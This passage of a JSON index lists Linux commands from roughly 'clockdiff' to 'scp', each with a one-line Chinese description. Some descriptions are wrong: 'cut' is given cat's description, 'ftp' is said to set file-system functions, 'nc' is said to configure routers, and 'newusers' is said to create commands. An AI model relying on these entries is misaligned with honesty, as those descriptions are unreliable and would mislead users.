k","d":"用于调整 RTC 时间"},"clockdiff":{"n":"clockdiff","p":"/clockdiff","d":"检测两台linux主机的时间差"},"cmp":{"n":"cmp","p":"/cmp","d":"比较两个文件是否有差异"},"col":{"n":"col","p":"/col","d":"过滤控制字符"},"colrm":{"n":"colrm","p":"/colrm","d":"删除文件中的指定列"},"comm":{"n":"comm","p":"/comm","d":"按行比较两个已排序的文件。"},"command":{"n":"command","p":"/command","d":"调用并执行指定的命令"},"compress":{"n":"compress","p":"/compress","d":"使用Lempress-Ziv编码压缩数据文件"},"consoletype":{"n":"consoletype","p":"/consoletype","d":"输出已连接的终端类型"},"continue":{"n":"continue","p":"/continue","d":"结束本次循环，继续执行下一个for，while或until循环。"},"convertquota":{"n":"convertquota","p":"/convertquota","d":"把老的配额文件转换为新的格式"},"cp":{"n":"cp","p":"/cp","d":"将源文件或目录复制到目标文件或目录中"},"cpio":{"n":"cpio","p":"/cpio","d":"用来建立、还原备份档的工具程序"},"crontab":{"n":"crontab","p":"/crontab","d":"提交和管理用户的需要周期性执行的任务"},"csplit":{"n":"csplit","p":"/csplit","d":"将一个大文件分割成小的碎片文件"},"cu":{"n":"cu","p":"/cu","d":"用于连接另一个系统主机"},"cupsdisable":{"n":"cupsdisable","p":"/cupsdisable","d":"停止指定的打印机"},"cupsenable":{"n":"cupsenable","p":"/cupsenable","d":"启动指定的打印机"},"curl":{"n":"curl","p":"/curl","d":"利用URL规则在命令行下工作的文件传输工具"},"cut":{"n":"cut","p":"/cut","d":"连接文件并打印到标准输出设备上"},"date":{"n":"date","p":"/date","d":"显示或设置系统时间与日期"},"dc":{"n":"dc","p":"/dc","d":"任意精度计算器"},"dd":{"n":"dd","p":"/dd","d":"复制文件并对原文件的内容进行转换和格式化处理"},"declare":{"n":"declare","p":"/declare","d":"声明变量，设置或显示变量的值和属性。"},"depmod":{"n":"depmod","p":"/depmod","d":"分析可载入模块的相依性"},"df":{"n":"df","p":"/df","d":"显示磁盘的相关信息"},"dhclient":{"n":"dhclient","p":"/dhclient","d":"动态获取或释放IP地址"},"dhcpd":{"n":"dhcpd","p":"/dhcpd","d":"运行DHCP服务器"},"dhcrelay":{"n":"dhcrelay","p":"/dhcrelay","d":"使用dhcrelay命令可以提供中继DHCP和BOOTP请求"},"diff":{"n":"diff","p":"/diff","d":"比较给定的两个文件的不同"},"diff3":{"n":"diff3","p":"/diff3","d":"比较3个文件不同的地方"},"diffstat":{"n":"diffstat","p":"/diffstat","d":"显示diff命令输出信息的柱状图"},"dig":{"n":"dig","p":"/dig","d":"域名查询工具"},"dircolors":{"n":"dircolors","p":"/dircolors","d":"置ls命令在显示目录或文件时所用的色彩"},"dirname":{"n":"dirname","p":"/dirname","d":"去除文件名中的非目录部分"},"dirs":{"n":"dirs","p":"/dirs","d":"显示目录堆栈。"},"disown":{"n":"disown","p":"/disown","d":"从当前的shell中移除作业。"},"dmesg":{"n":"dmesg","p":"/dmesg","d":"显示Linux系统启动信息"},"dmidecode":{"n":"dmidecode","p":"/dmidecode","d":"在Linux系统下获取有关硬件方面的信息"},"dnf":{"n":"dnf","p":"/dnf","d":"新一代的RPM软件包管理器"},"dnsdomainname":{"n":"dnsdomainname","p":"/dnsdomainname","d":"定义DNS系统中FQDN名称的域名"},"domainname":{"n":"domainname","p":"/domainname","d":"显示和设置系统的NIS域名"},"dos2unix":{"n":"dos2unix","p":"/dos2unix","d":"将DOS格式文本文件转换成Unix格式"},"dpkg-deb":{"n":"dpkg-deb","p":"/dpkg-deb","d":"Debian Linux下的软件包管理工具"},"dpkg-divert":{"n":"dpkg-divert","p":"/dpkg-divert","d":"Debian Linux中创建并管理一个转向列表"},"dpkg-preconfigure":{"n":"dpkg-preconfigure","p":"/dpkg-preconfigure","d":"Debian Linux中软件包安装之前询问问题"},"dpkg-query":{"n":"dpkg-query","p":"/dpkg-query","d":"Debian Linux中软件包的查询工具"},"dpkg-reconfigure":{"n":"dpkg-reconfigure","p":"/dpkg-reconfigure","d":"Debian Linux中重新配制一个已经安装的软件包"},"dpkg-split":{"n":"dpkg-split","p":"/dpkg-split","d":"Debian Linux中将大软件包分割成小包"},"dpkg-statoverride":{"n":"dpkg-statoverride","p":"/dpkg-statoverride","d":"Debian Linux中覆盖文件的所有权和模式"},"dpkg-trigger":{"n":"dpkg-trigger","p":"/dpkg-trigger","d":"Debian Linux下的软件包触发器"},"dpkg":{"n":"dpkg","p":"/dpkg","d":"Debian Linux系统上安装、创建和管理软件包"},"dris":{"n":"dris","p":"/dris","d":"显示和清空目录堆栈中的内容"},"dstat":{"n":"dstat","p":"/dstat","d":"通用的系统资源统计工具"},"du":{"n":"du","p":"/du","d":"显示每个文件和目录的磁盘使用空间"},"dump":{"n":"dump","p":"/dump","d":"用于备份ext2或者ext3文件系统"},"e2fsck":{"n":"e2fsck","p":"/e2fsck","d":"用于检查第二扩展文件系统的完整性"},"e2label":{"n":"e2label","p":"/e2label","d":"设置第二扩展文件系统的卷标"},"echo":{"n":"echo","p":"/echo","d":"输出指定的字符串或者变量"},"ed":{"n":"ed","p":"/ed","d":"单行纯文本编辑器"},"edquota":{"n":"edquota","p":"/edquota","d":"用于编辑指定用户或工作组磁盘配额"},"egrep":{"n":"egrep","p":"/egrep","d":"在文件内查找指定的字符串"},"eject":{"n":"eject","p":"/eject","d":"用来退出抽取式设备"},"elinks":{"n":"elinks","p":"/elinks","d":"纯文本界面的WWW浏览器"},"elm":{"n":"elm","p":"/elm","d":"纯文本邮件客户端程序"},"emacs":{"n":"emacs","p":"/emacs","d":"功能强大的全屏文本编辑器"},"enable":{"n":"enable","p":"/enable","d":"启动或禁用shell内建命令"},"env":{"n":"env","p":"/env","d":"显示系统中已存在的环境变量"},"ethtool":{"n":"ethtool","p":"/ethtool","d":"显示或修改以太网卡的配置信息"},"ex":{"n":"ex","p":"/ex","d":"启动vim编辑器的ex编辑模式"},"exec":{"n":"exec","p":"/exec","d":"调用并执行指定的命令"},"exit":{"n":"exit","p":"/exit","d":"退出当前的shell。"},"expand":{"n":"expand","p":"/expand","d":"将文件的制表符转换为空白字符"},"export":{"n":"export","p":"/export","d":"为shell变量或函数设置导出属性。"},"exportfs":{"n":"exportfs","p":"/exportfs","d":"管理NFS共享文件系统列表"},"expr":{"n":"expr","p":"/expr","d":"一款表达式计算工具"},"false":{"n":"false","p":"/false","d":"返回状态为失败。"},"fc":{"n":"fc","p":"/fc","d":"显示历史列表中的命令或修改指定的历史命令并执行。"},"fdisk":{"n":"fdisk","p":"/fdisk","d":"查看磁盘使用情况和磁盘分区"},"fg":{"n":"fg","p":"/fg","d":"将后台作业移动到前台终端运行"},"fgrep":{"n":"fgrep","p":"/fgrep","d":"为文件搜索文字字符串"},"file":{"n":"file","p":"/file","d":"用来探测给定文件的类型"},"find":{"n":"find","p":"/find","d":"在指定目录下查找文件"},"findfs":{"n":"findfs","p":"/findfs","d":"标签或UUID查找文件系统"},"finger":{"n":"finger","p":"/finger","d":"用于查找并显示用户信息"},"firewall-cmd":{"n":"firewall-cmd","p":"/firewall-cmd","d":"Linux上新用的防火墙软件，跟iptables差不多的工具"},"fishshell":{"n":"fishshell","p":"/fishshell","d":"比 bash 更好用的 shell"},"fmt":{"n":"fmt","p":"/fmt","d":"读取文件后优化处理并输出"},"fold":{"n":"fold","p":"/fold","d":"控制文件内容输出时所占用的屏幕宽度"},"fping":{"n":"fping","p":"/fping","d":"fping检测主机是否存在"},"free":{"n":"free","p":"/free","d":"显示内存的使用情况"},"fsck":{"n":"fsck","p":"/fsck","d":"fsck（英文全拼：file system check）命令检查并且试图修复文件系统中的错误"},"ftp":{"n":"ftp","p":"/ftp","d":"用来设置文件系统相关功能"},"ftpcount":{"n":"ftpcount","p":"/ftpcount","d":"显示目前已FTP登入的用户人数"},"ftpshut":{"n":"ftpshut","p":"/ftpshut","d":"在指定的时间关闭FTP服务器"},"ftptop":{"n":"ftptop","p":"/ftptop","d":"proftpd服务器的连接状态"},"ftpwho":{"n":"ftpwho","p":"/ftpwho","d":"显示当前每个ftp会话信息"},"fuser":{"n":"fuser","p":"/fuser","d":"使用文件或文件结构识别进程"},"gcc":{"n":"gcc","p":"/gcc","d":"基于C/C++的编译器"},"gcov":{"n":"gcov","p":"/gcov","d":"测试程序的代码覆盖率的工具"},"gdb":{"n":"gdb","p":"/gdb","d":"功能强大的程序调试器"},"get_module":{"n":"get_module","p":"/get_module","d":"获取Linux内核模块的详细信息"},"getenforce":{"n":"getenforce","p":"/getenforce","d":"显示当前SELinux的应用模式，是强制、执行还是停用"},"getsebool":{"n":"getsebool","p":"/getsebool","d":"查询SElinux策略内各项规则的布尔值"},"git":{"n":"git","p":"/git","d":"是目前世界上最先进的分布式版本控制系统"},"gpasswd":{"n":"gpasswd","p":"/gpasswd","d":"Linux下工作组文件的管理工具"},"gpm":{"n":"gpm","p":"/gpm","d":"提供文字模式下的滑鼠事件处理"},"grep":{"n":"grep","p":"/grep","d":"强大的文本搜索工具"},"groupadd":{"n":"groupadd","p":"/groupadd","d":"用于创建一个新的工作组"},"groupdel":{"n":"groupdel","p":"/groupdel","d":"用于删除指定的工作组"},"groupmems":{"n":"groupmems","p":"/groupmems","d":"管理用户主要组的成员"},"groupmod":{"n":"groupmod","p":"/groupmod","d":"更改群组识别码或名称"},"groups":{"n":"groups","p":"/groups","d":"打印指定用户所在组的名称。"},"grpck":{"n":"grpck","p":"/grpck","d":"用于验证组文件的完整性"},"grpconv":{"n":"grpconv","p":"/grpconv","d":"用来开启群组的投影密码"},"grpunconv":{"n":"grpunconv","p":"/grpunconv","d":"用来关闭群组的投影密码"},"grub":{"n":"grub","p":"/grub","d":"多重引导程序grub的命令行shell工具"},"grub2-mkconfig":{"n":"grub2-mkconfig","p":"/grub2-mkconfig","d":"生成 grub.cfg 配置文件。"},"grub2-set-default":{"n":"grub2-set-default","p":"/grub2-set-default","d":"设置系统默认的启动内核"},"gunzip":{"n":"gunzip","p":"/gunzip","d":"用来解压缩文件"},"gzexe":{"n":"gzexe","p":"/gzexe","d":"用来压缩可执行文件"},"gzip":{"n":"gzip","p":"/gzip","d":"用来压缩文件"},"halt":{"n":"halt","p":"/halt","d":"关闭正在运行的Linux操作系统"},"hdparm":{"n":"hdparm","p":"/hdparm","d":"显示与设定硬盘的参数"},"head":{"n":"head","p":"/head","d":"显示文件的开头部分。"},"help":{"n":"help","p":"/help","d":"该命令是bash内建命令，用于显示bash内建命令的帮助信息。"},"hexdump":{"n":"hexdump","p":"/hexdump","d":"显示文件十六进制格式"},"history":{"n":"history","p":"/history","d":"显示或操作历史列表。"},"host":{"n":"host","p":"/host","d":"常用的分析域名查询工具"},"hostid":{"n":"hostid","p":"/hostid","d":"显示当前主机的十六进制数字标识。"},"hostname":{"n":"hostname","p":"/hostname","d":"显示和设置系统的主机名"},"hostnamectl":{"n":"hostnamectl","p":"/hostnamectl","d":"查询或更改系统主机名"},"hping3":{"n":"hping3","p":"/hping3","d":"测试网络及主机的安全"},"htdigest":{"n":"htdigest","p":"/htdigest","d":"Apache服务器内置工具"},"htop":{"n":"htop","p":"/htop","d":"[非内部命令]一个互动的进程查看器，可以动态观察系统进程状况"},"htpasswd":{"n":"htpasswd","p":"/htpasswd","d":"apache服务器创建密码认证文件"},"hwclock":{"n":"hwclock","p":"/hwclock","d":"显示与设定硬件时钟"},"iconv":{"n":"iconv","p":"/iconv","d":"转换文件的编码方式"},"id":{"n":"id","p":"/id","d":"打印真实以及有效的用户和所在组的信息"},"ifcfg":{"n":"ifcfg","p":"/ifcfg","d":"置Linux中的网络接口参数"},"ifconfig":{"n":"ifconfig","p":"/ifconfig","d":"配置和显示Linux系统网卡的网络参数"},"ifdown":{"n":"ifdown","p":"/ifdown","d":"禁用指定的网络接口"},"ifstat":{"n":"ifstat","p":"/ifstat","d":"统计网络接口流量状态"},"iftop":{"n":"iftop","p":"/iftop","d":"一款实时流量监控工具"},"ifup":{"n":"ifup","p":"/ifup","d":"激活指定的网络接口"},"indent":{"n":"indent","p":"/indent","d":"格式化C语言的源文件"},"info":{"n":"info","p":"/info","d":"Linux下info格式的帮助指令"},"init":{"n":"init","p":"/init","d":"init进程是所有Linux进程的父进程"},"inotifywait":{"n":"inotifywait","p":"/inotifywait","d":"异步文件系统监控机制"},"insmod":{"n":"insmod","p":"/insmod","d":"将给定的模块加载到内核中"},"install":{"n":"install","p":"/install","d":"安装或升级软件或备份数据"},"iostat":{"n":"iostat","p":"/iostat","d":"监视系统输入输出设备和CPU的使用情况"},"iotop":{"n":"iotop","p":"/iotop","d":"用来监视磁盘I/O使用状况的工具"},"ip":{"n":"ip","p":"/ip","d":"网络配置工具"},"ip6tables-restore":{"n":"ip6tables-restore","p":"/ip6tables-restore","d":"还原ip6tables表"},"ip6tables-save":{"n":"ip6tables-save","p":"/ip6tables-save","d":"保存ip6tables表配置"},"ip6tables":{"n":"ip6tables","p":"/ip6tables","d":"linux中防火墙软件"},"ipcalc":{"n":"ipcalc","p":"/ipcalc","d":"简单的IP地址计算器"},"ipcrm":{"n":"ipcrm","p":"/ipcrm","d":"删除消息队列、信号集、或者共享内存标识"},"ipcs":{"n":"ipcs","p":"/ipcs","d":"分析消息队列共享内存和信号量"},"iperf":{"n":"iperf","p":"/iperf","d":"网络性能测试工具"},"iptables-restore":{"n":"iptables-restore","p":"/iptables-restore","d":"还原iptables表的配置"},"iptables-save":{"n":"iptables-save","p":"/iptables-save","d":"备份iptables的表配置"},"iptables":{"n":"iptables","p":"/iptables","d":"Linux上常用的防火墙软件"},"iptraf":{"n":"iptraf","p":"/iptraf","d":"实时地监视网卡流量"},"iptstate":{"n":"iptstate","p":"/iptstate","d":"显示iptables的工作状态"},"ispell":{"n":"ispell","p":"/ispell","d":"检查文件中出现的拼写错误"},"jed":{"n":"jed","p":"/jed","d":"主要用于编辑代码的编辑器"},"jobs":{"n":"jobs","p":"/jobs","d":"显示作业的状态。"},"joe":{"n":"joe","p":"/joe","d":"强大的纯文本编辑器"},"join":{"n":"join","p":"/join","d":"两个文件中指定栏位内容相同的行连接起来"},"journalctl":{"n":"journalctl","p":"/journalctl","d":"检索 systemd 日志，是 CentOS 7 才有的工具。"},"jq":{"n":"jq","p":"/jq","d":"一个灵活的轻量级命令行JSON处理器"},"jwhois":{"n":"jwhois","p":"/jwhois","d":"whois 客户端服务"},"kernelversion":{"n":"kernelversion","p":"/kernelversion","d":"打印当前内核的主版本号"},"kexec":{"n":"kexec","p":"/kexec","d":"从当前正在运行的内核引导到一个新内核"},"kill":{"n":"kill","p":"/kill","d":"发送信号到进程。"},"killall":{"n":"killall","p":"/killall","d":"使用进程的名称来杀死一组进程"},"last":{"n":"last","p":"/last","d":"列出目前与过去登入系统的用户相关信息"},"lastb":{"n":"lastb","p":"/lastb","d":"列出登入系统失败的用户相关信息"},"lastlog":{"n":"lastlog","p":"/lastlog","d":"显示系统中所有用户最近一次登录信息"},"ld":{"n":"ld","p":"/ld","d":"将目标文件连接为可执行程序"},"ldconfig":{"n":"ldconfig","p":"/ldconfig","d":"动态链接库管理命令"},"ldd":{"n":"ldd","p":"/ldd","d":"打印程序或者库文件所依赖的共享库列表"},"less":{"n":"less","p":"/less","d":"分屏上下翻页浏览文件内容"},"let":{"n":"let","p":"/let","d":"简单的计算器，执行算术表达式。"},"lftp":{"n":"lftp","p":"/lftp","d":"优秀的文件客户端程序"},"lftpget":{"n":"lftpget","p":"/lftpget","d":"调用lftp指令下载指定的文件"},"lha":{"n":"lha","p":"/lha","d":"压缩或解压缩lzh格式文件"},"lilo":{"n":"lilo","p":"/lilo","d":"安装核心载入开机管理程序"},"ln":{"n":"ln","p":"/ln","d":"用来为文件创建链接"},"lnstat":{"n":"lnstat","p":"/lnstat","d":"显示Linux系统的网路状态"},"local":{"n":"local","p":"/local","d":"在函数内定义局部变量。"},"locate":{"n":"locate","p":"/locate","d":"比 find 好用的文件查找工具"},"logger":{"n":"logger","p":"/logger","d":"在系统日志中记录相应条目"},"login":{"n":"login","p":"/login","d":"登录系统或切换用户身份"},"logname":{"n":"logname","p":"/logname","d":"打印当前终端登录用户的名称。"},"logout":{"n":"logout","p":"/logout","d":"退出当前登录的Shell"},"logrotate":{"n":"logrotate","p":"/logrotate","d":"系统日志进行轮转、压缩和删除"},"logsave":{"n":"logsave","p":"/logsave","d":"将命令的输出信息保存到指定的日志文件"},"logwatch":{"n":"logwatch","p":"/logwatch","d":"可定制和可插入式的日志监视系统"},"look":{"n":"look","p":"/look","d":"显示文件中以指定字符串开头的任意行"},"losetup":{"n":"losetup","p":"/losetup","d":"设定与控制循环（loop）设备"},"lp":{"n":"lp","p":"/lp","d":"打印文件或修改排队的打印任务"},"lpadmin":{"n":"lpadmin","p":"/lpadmin","d":"配置CUPS套件中的打印机和类"},"lpc":{"n":"lpc","p":"/lpc","d":"命令行方式打印机控制程序"},"lpq":{"n":"lpq","p":"/lpq","d":"显示打印队列中的打印任务的状态信息"},"lpr":{"n":"lpr","p":"/lpr","d":"将文件发送给指定打印机进行打印"},"lprm":{"n":"lprm","p":"/lprm","d":"删除打印队列中的打印任务"},"lpstat":{"n":"lpstat","p":"/lpstat","d":"显示CUPS中打印机的状态信息"},"ls":{"n":"ls","p":"/ls","d":"显示目录内容列表"},"lsattr":{"n":"lsattr","p":"/lsattr","d":"查看文件的第二扩展文件系统属性"},"lsb_release":{"n":"lsb_release","p":"/lsb_release","d":"显示发行版本信息"},"lsblk":{"n":"lsblk","p":"/lsblk","d":"列出块设备信息"},"lscpu":{"n":"lscpu","p":"/lscpu","d":"显示有关CPU架构的信息"},"lsmod":{"n":"lsmod","p":"/lsmod","d":"显示已载入系统的模块"},"lsof":{"n":"lsof","p":"/lsof","d":"显示Linux系统当前已打开的所有文件列表 `lsof -p pid`"},"lspci":{"n":"lspci","p":"/lspci","d":"显示当前主机的所有PCI总线信息"},"lsusb":{"n":"lsusb","p":"/lsusb","d":"显示本机的USB设备列表信息"},"ltrace":{"n":"ltrace","p":"/ltrace","d":"用来跟踪进程调用库函数的情况"},"lvcreate":{"n":"lvcreate","p":"/lvcreate","d":"用于创建LVM的逻辑卷"},"lvdisplay":{"n":"lvdisplay","p":"/lvdisplay","d":"显示逻辑卷属性"},"lvextend":{"n":"lvextend","p":"/lvextend","d":"扩展逻辑卷空间"},"lvreduce":{"n":"lvreduce","p":"/lvreduce","d":"收缩逻辑卷空间"},"lvremove":{"n":"lvremove","p":"/lvremove","d":"删除指定LVM逻辑卷"},"lvresize":{"n":"lvresize","p":"/lvresize","d":"调整逻辑卷空间大小"},"lvscan":{"n":"lvscan","p":"/lvscan","d":"扫描逻辑卷"},"lynx":{"n":"lynx","p":"/lynx","d":"纯文本模式的网页浏览器"},"mail":{"n":"mail","p":"/mail","d":"命令行下发送和接收电子邮件"},"mailq":{"n":"mailq","p":"/mailq","d":"显示待发送的邮件队列"},"mailstat":{"n":"mailstat","p":"/mailstat","d":"显示到达的邮件状态"},"make":{"n":"make","p":"/make","d":"GNU的工程化编译工具"},"man":{"n":"man","p":"/man","d":"查看Linux中的指令帮助"},"mapfile":{"n":"mapfile","p":"/mapfile","d":"从标准输入读取行并赋值到数组。"},"md5sum":{"n":"md5sum","p":"/md5sum","d":"计算和校验文件报文摘要的工具程序"},"mesg":{"n":"mesg","p":"/mesg","d":"设置当前终端的写权限"},"mii-tool":{"n":"mii-tool","p":"/mii-tool","d":"配置网络设备协商方式的工具"},"mkbootdisk":{"n":"mkbootdisk","p":"/mkbootdisk","d":"可建立目前系统的启动盘"},"mkcert":{"n":"mkcert","p":"/mkcert","d":"用来生成自签证书的工具"},"mkdir":{"n":"mkdir","p":"/mkdir","d":"用来创建目录"},"mke2fs":{"n":"mke2fs","p":"/mke2fs","d":"创建磁盘分区上的“etc2/etc3”文件系统"},"mkfs":{"n":"mkfs","p":"/mkfs","d":"用于在设备上创建Linux文件系统"},"mkinitrd":{"n":"mkinitrd","p":"/mkinitrd","d":"建立要载入ramdisk的映像文件"},"mkisofs":{"n":"mkisofs","p":"/mkisofs","d":"建立ISO 9660映像文件"},"mknod":{"n":"mknod","p":"/mknod","d":"创建字符设备文件和块设备文件"},"mkswap":{"n":"mkswap","p":"/mkswap","d":"建立和设置SWAP交换分区"},"mktemp":{"n":"mktemp","p":"/mktemp","d":"创建临时文件供shell脚本使用"},"modprobe":{"n":"modprobe","p":"/modprobe","d":"自动处理可载入模块"},"more":{"n":"more","p":"/more","d":"显示文件内容，每次显示一屏"},"mount":{"n":"mount","p":"/mount","d":"用于挂载Linux系统外的文件"},"mpstat":{"n":"mpstat","p":"/mpstat","d":"显示各个可用CPU的状态"},"mtools":{"n":"mtools","p":"/mtools","d":"显示mtools支持的指令"},"mv":{"n":"mv","p":"/mv","d":"用来对文件或目录重新命名"},"mysql":{"n":"mysql","p":"/mysql","d":"MySQL服务器客户端工具"},"mysqladmin":{"n":"mysqladmin","p":"/mysqladmin","d":"MySQL服务器管理客户端"},"mysqldump":{"n":"mysqldump","p":"/mysqldump","d":"MySQL数据库中备份工具"},"mysqlimport":{"n":"mysqlimport","p":"/mysqlimport","d":"为MySQL服务器用命令行方式导入数据"},"mysqlshow":{"n":"mysqlshow","p":"/mysqlshow","d":"显示MySQL中数据库相关信息"},"named-checkzone":{"n":"named-checkzone","p":"/named-checkzone","d":"使用named-checkzone命令可以进行区域文件有效性检查和转换，必须指定区域名称和区域文件名称"},"nano":{"n":"nano","p":"/nano","d":"字符终端文本编辑器"},"nc":{"n":"nc","p":"/nc","d":"用于设置路由器，是网络工具中的瑞士军刀。"},"ncftp":{"n":"ncftp","p":"/ncftp","d":"是增强的的FTP工具"},"neofetch":{"n":"neofetch","p":"/neofetch","d":"显示带有发行徽标的系统信息的工具"},"nethogs":{"n":"nethogs","p":"/nethogs","d":"终端下的网络流量监控工具"},"netstat":{"n":"netstat","p":"/netstat","d":"查看Linux中网络系统状态信息"},"newusers":{"n":"newusers","p":"/newusers","d":"用于批处理的方式一次创建多个命令"},"nfsstat":{"n":"nfsstat","p":"/nfsstat","d":"列出NFS客户端和服务器的工作状态"},"ngrep":{"n":"ngrep","p":"/ngrep","d":"方便的数据包匹配和显示工具"},"nice":{"n":"nice","p":"/nice","d":"调整程序执行的优先权等级"},"nisdomainname":{"n":"nisdomainname","p":"/nisdomainname","d":"显示主机NIS的域名"},"nl":{"n":"nl","p":"/nl","d":"为每一个文件添加行号。"},"nm":{"n":"nm","p":"/nm","d":"显示二进制目标文件的符号表"},"nmap":{"n":"nmap","p":"/nmap","d":"网络探测和安全审核"},"nmcli":{"n":"nmcli","p":"/nmcli","d":"地址配置工具"},"nohup":{"n":"nohup","p":"/nohup","d":"将程序以忽略挂起信号的方式运行起来"},"nologin":{"n":"nologin","p":"/nologin","d":"拒绝用户登录系统"},"nproc":{"n":"nproc","p":"/nproc","d":"打印可用的处理器单元数量。"},"nslookup":{"n":"nslookup","p":"/nslookup","d":"查询域名DNS信息的工具"},"ntpdate":{"n":"ntpdate","p":"/ntpdate","d":"使用网络计时协议（NTP）设置日期和时间"},"ntsysv":{"n":"ntsysv","p":"/ntsysv","d":"集中管理系统的各种服务"},"objdump":{"n":"objdump","p":"/objdump","d":"显示二进制文件信息"},"od":{"n":"od","p":"/od","d":"输出文件的八进制、十六进制等格式编码的字节"},"openssl":{"n":"openssl","p":"/openssl","d":"强大的安全套接字层密码库"},"parted":{"n":"parted","p":"/parted","d":"磁盘分区和分区大小调整工具"},"partprobe":{"n":"partprobe","p":"/partprobe","d":"不重启的情况下重读分区"},"passwd":{"n":"passwd","p":"/passwd","d":"用于让用户可以更改自己的密码"},"paste":{"n":"paste","p":"/paste","d":"将多个文件按列队列合并"},"patch":{"n":"patch","p":"/patch","d":"为开放源代码软件安装补丁程序"},"pathchk":{"n":"pathchk","p":"/pathchk","d":"检查文件中不可移植的部分"},"perl":{"n":"perl","p":"/perl","d":"perl语言解释器"},"pfctl":{"n":"pfctl","p":"/pfctl","d":"PF防火墙的配置命令"},"pgrep":{"n":"pgrep","p":"/pgrep","d":"根据用户给出的信息在当前运行进程中查找并列出符合条件的进程ID（PID）"},"php":{"n":"php","p":"/php","d":"PHP语言的命令行接口"},"pico":{"n":"pico","p":"/pico","d":"功能强大全屏幕的文本编辑器"},"pidof":{"n":"pidof","p":"/pidof","d":"查找指定名称的进程的进程号ID号"},"pidstat":{"n":"pidstat","p":"/pidstat","d":"监控进程的系统资源占用情况"},"pigz":{"n":"pigz","p":"/pigz","d":"可以用来解压缩文件，gzip的并行实现升级版"},"ping":{"n":"ping","p":"/ping","d":"测试主机之间网络的连通性"},"pkill":{"n":"pkill","p":"/pkill","d":"可以按照进程名杀死进程"},"pmap":{"n":"pmap","p":"/pmap","d":"报告进程的内存映射关系"},"popd":{"n":"popd","p":"/popd","d":"从目录堆栈中删除目录。"},"poweroff":{"n":"poweroff","p":"/poweroff","d":"关闭Linux系统，关闭记录会被写入到/var/log/wtmp日志文件中"},"ppp-off":{"n":"ppp-off","p":"/ppp-off","d":"关闭ppp连线"},"pr":{"n":"pr","p":"/pr","d":"将文本文件转换成适合打印的格式"},"printf":{"n":"printf","p":"/printf","d":"格式化并输出结果。"},"protoize":{"n":"protoize","p":"/protoize","d":"GNU-C代码转换为ANSI-C代码"},"ps":{"n":"ps","p":"/ps","d":"报告当前系统的进程状态"},"pssh":{"n":"pssh","p":"/pssh","d":"批量管理执行"},"pstack":{"n":"pstack","p":"/pstack","d":"显示每个进程的栈跟踪"},"pstree":{"n":"pstree","p":"/pstree","d":"以树状图的方式展现进程之间的派生关系"},"pushd":{"n":"pushd","p":"/pushd","d":"将目录添加到目录堆栈顶部。"},"pv":{"n":"pv","p":"/pv","d":"显示当前在命令行执行的命令的进度信息，管道查看器"},"pvchange":{"n":"pvchange","p":"/pvchange","d":"修改物理卷属性"},"pvck":{"n":"pvck","p":"/pvck","d":"检测物理卷的LVM元数据的一致性"},"pvcreate":{"n":"pvcreate","p":"/pvcreate","d":"将物理硬盘分区初始化为物理卷"},"pvdisplay":{"n":"pvdisplay","p":"/pvdisplay","d":"显示物理卷的属性"},"pvremove":{"n":"pvremove","p":"/pvremove","d":"删除一个存在的物理卷"},"pvs":{"n":"pvs","p":"/pvs","d":"输出物理卷信息报表"},"pvscan":{"n":"pvscan","p":"/pvscan","d":"扫描系统中所有硬盘的物理卷列表"},"pwck":{"n":"pwck","p":"/pwck","d":"用来验证系统认证文件内容和格式的完整性"},"pwconv":{"n":"pwconv","p":"/pwconv","d":"用来开启用户的投影密码"},"pwd":{"n":"pwd","p":"/pwd","d":"显示当前工作目录的绝对路径。"},"pwunconv":{"n":"pwunconv","p":"/pwunconv","d":"用来关闭用户的投影密码"},"quota":{"n":"quota","p":"/quota","d":"显示磁盘已使用的空间与限制"},"quotacheck":{"n":"quotacheck","p":"/quotacheck","d":"检查磁盘的使用空间与限制"},"quotaoff":{"n":"quotaoff","p":"/quotaoff","d":"关闭Linux内核中指定文件系统的磁盘配额功能"},"quotaon":{"n":"quotaon","p":"/quotaon","d":"激活Linux内核中指定文件系统的磁盘配额功能"},"rcconf":{"n":"rcconf","p":"/rcconf","d":"Debian Linux下的运行等级服务配置工具"},"rcp":{"n":"rcp","p":"/rcp","d":"使在两台Linux主机之间的文件复制操作更简单"},"read":{"n":"read","p":"/read","d":"从键盘读取变量值"},"readelf":{"n":"readelf","p":"/readelf","d":"用于显示elf格式文件的信息"},"readonly":{"n":"readonly","p":"/readonly","d":"标记shell变量或函数为只读"},"reboot":{"n":"reboot","p":"/reboot","d":"重新启动正在运行的Linux操作系统"},"reject":{"n":"reject","p":"/reject","d":"指示打印系统拒绝发往指定目标打印机的打印任务"},"rename":{"n":"rename","p":"/rename","d":"用字符串替换的方式批量改变文件名"},"renice":{"n":"renice","p":"/renice","d":"修改正在运行的进程的调度优先级"},"repquota":{"n":"repquota","p":"/repquota","d":"报表的格式输出磁盘空间限制的状态"},"resize":{"n":"resize","p":"/resize","d":"命令设置终端机视窗的大小"},"restore":{"n":"restore","p":"/restore","d":"所进行的操作和dump指令相反"},"restorecon":{"n":"restorecon","p":"/restorecon","d":"恢复文件的安全上下文"},"return":{"n":"return","p":"/return","d":"从函数中退出并返回数值。"},"rev":{"n":"rev","p":"/rev","d":"将文件内容以字符为单位反序输出"},"rexec":{"n":"rexec","p":"/rexec","d":"远程执行Linux系统下命令"},"rlogin":{"n":"rlogin","p":"/rlogin","d":"从当前终端登录到远程Linux主机"},"rm":{"n":"rm","p":"/rm","d":"用于删除给定的文件和目录"},"rmdir":{"n":"rmdir","p":"/rmdir","d":"用来删除空目录"},"rmmod":{"n":"rmmod","p":"/rmmod","d":"从运行的内核中移除指定的内核模块"},"route":{"n":"route","p":"/route","d":"显示并设置Linux中静态路由表"},"rpm":{"n":"rpm","p":"/rpm","d":"RPM软件包的管理工具"},"rpm2cpio":{"n":"rpm2cpio","p":"/rpm2cpio","d":"将RPM软件包转换为cpio格式的文件"},"rpmbuild":{"n":"rpmbuild","p":"/rpmbuild","d":"创建RPM的二进制软件包和源码软件包"},"rpmdb":{"n":"rpmdb","p":"/rpmdb","d":"初始化和重建RPM数据库"},"rpmquery":{"n":"rpmquery","p":"/rpmquery","d":"从RPM数据库中查询软件包信息"},"rpmsign":{"n":"rpmsign","p":"/rpmsign","d":"使用RPM软件包的签名管理工具"},"rpmverify":{"n":"rpmverify","p":"/rpmverify","d":"验证已安装的RPM软件包的正确性"},"rsh":{"n":"rsh","p":"/rsh","d":"连接远程主机并执行命令"},"rsync":{"n":"rsync","p":"/rsync","d":"远程数据同步工具"},"runlevel":{"n":"runlevel","p":"/runlevel","d":"打印当前Linux系统的运行等级"},"sar":{"n":"sar","p":"/sar","d":"系统运行状态统计工具"},"scp":{"n":"scp","p"